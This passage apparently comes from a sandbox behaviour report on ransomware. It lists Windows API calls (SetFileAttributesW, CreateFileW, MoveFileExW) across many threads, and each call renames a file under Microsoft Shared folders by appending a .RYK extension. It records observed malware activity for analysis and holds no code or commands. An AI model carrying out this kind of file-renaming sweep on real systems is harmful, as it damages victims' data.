	[0160.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.279] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 408
	os_tid = 0xf50

	[0160.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", dwFileAttributes=0x80) returned 0
	[0160.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.283] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 409
	os_tid = 0xf54

	[0160.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", dwFileAttributes=0x80) returned 0
	[0160.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.286] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 410
	os_tid = 0xf58

	[0160.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg", dwFileAttributes=0x80) returned 0
	[0160.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.906] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 411
	os_tid = 0xf60

	[0160.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", dwFileAttributes=0x80) returned 0
	[0160.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.724] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 413
	os_tid = 0xf70

	[0161.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", dwFileAttributes=0x80) returned 0
	[0161.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.046] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 414
	os_tid = 0xf74

	[0161.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", dwFileAttributes=0x80) returned 0
	[0161.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.180] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 415
	os_tid = 0xf78

	[0161.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", dwFileAttributes=0x80) returned 0
	[0161.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.050] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.050] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 416
	os_tid = 0xf7c

	[0161.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", dwFileAttributes=0x80) returned 0
	[0161.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.052] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 417
	os_tid = 0xf80

	[0161.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM", dwFileAttributes=0x80) returned 0
	[0161.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 418
	os_tid = 0xf84

	[0161.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF", dwFileAttributes=0x80) returned 0
	[0161.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.183] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 419
	os_tid = 0xf88

	[0161.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0161.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 420
	os_tid = 0xf8c

	[0161.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0161.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.328] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 421
	os_tid = 0xf90

	[0161.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", dwFileAttributes=0x80) returned 0
	[0161.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 422
	os_tid = 0xf94

	[0161.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", dwFileAttributes=0x80) returned 0
	[0161.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 423
	os_tid = 0xf98

	[0161.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0161.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.334] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 424
	os_tid = 0xf9c

	[0161.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0161.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 425
	os_tid = 0xfa0

	[0161.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", dwFileAttributes=0x80) returned 0
	[0161.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.196] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 426
	os_tid = 0xfa4

	[0161.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", dwFileAttributes=0x80) returned 0
	[0161.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.374] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 427
	os_tid = 0xfa8

	[0161.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0161.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.376] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 428
	os_tid = 0xfac

	[0161.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0161.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.379] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 429
	os_tid = 0xfb0

	[0161.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", dwFileAttributes=0x80) returned 0
	[0161.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.479] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 430
	os_tid = 0xfb4

	[0161.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", dwFileAttributes=0x80) returned 0
	[0161.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.637] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 431
	os_tid = 0xfb8

	[0161.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0161.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.639] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 432
	os_tid = 0xfbc

	[0161.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0161.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.489] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 433
	os_tid = 0xfc0

	[0161.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", dwFileAttributes=0x80) returned 0
